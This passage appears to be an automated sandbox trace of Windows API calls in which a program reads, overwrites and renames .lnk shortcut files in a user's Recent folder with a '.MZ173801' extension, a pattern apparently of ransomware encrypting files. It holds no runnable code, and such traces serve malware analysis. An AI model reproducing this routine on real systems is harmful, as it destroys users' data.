QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.733] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my videos.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.733] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.733] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.733] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x539 [0121.733] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.733] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x539, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x539, lpOverlapped=0x0) returned 1 [0121.734] CloseHandle (hObject=0x288) returned 1 [0121.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my videos.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.735] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x539, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x539, lpOverlapped=0x0) returned 1 [0121.736] CloseHandle (hObject=0x288) returned 1 [0121.742] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my videos.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my videos.lnk.mz173801")) returned 1 [0121.743] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9637e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9637e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf9637e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="nbD-zxe0OSG.mkv.lnk", cAlternateFileName="NBD-ZX~1.LNK")) returned 1 [0121.743] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.743] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.743] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nbD-zxe0OSG.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nbd-zxe0osg.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9637e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9637e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf9637e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f7)) returned 1 [0121.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nbD-zxe0OSG.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nbd-zxe0osg.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.748] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.748] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.748] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3f7 [0121.748] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.748] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3f7, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3f7, lpOverlapped=0x0) returned 1 [0121.749] CloseHandle (hObject=0x288) returned 1 [0121.750] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nbD-zxe0OSG.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nbd-zxe0osg.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.751] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3f7, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3f7, lpOverlapped=0x0) returned 1 [0121.752] CloseHandle (hObject=0x288) returned 1 [0121.757] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nbD-zxe0OSG.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nbd-zxe0osg.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nbD-zxe0OSG.mkv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nbd-zxe0osg.mkv.lnk.mz173801")) returned 1 [0121.758] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd967040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdd967040, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd967040, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="nKFbIyXhmf.ots.lnk", cAlternateFileName="NKFBIY~1.LNK")) returned 1 [0121.759] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.759] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.759] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nKFbIyXhmf.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nkfbiyxhmf.ots.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd967040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdd967040, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd967040, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f2)) returned 1 [0121.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE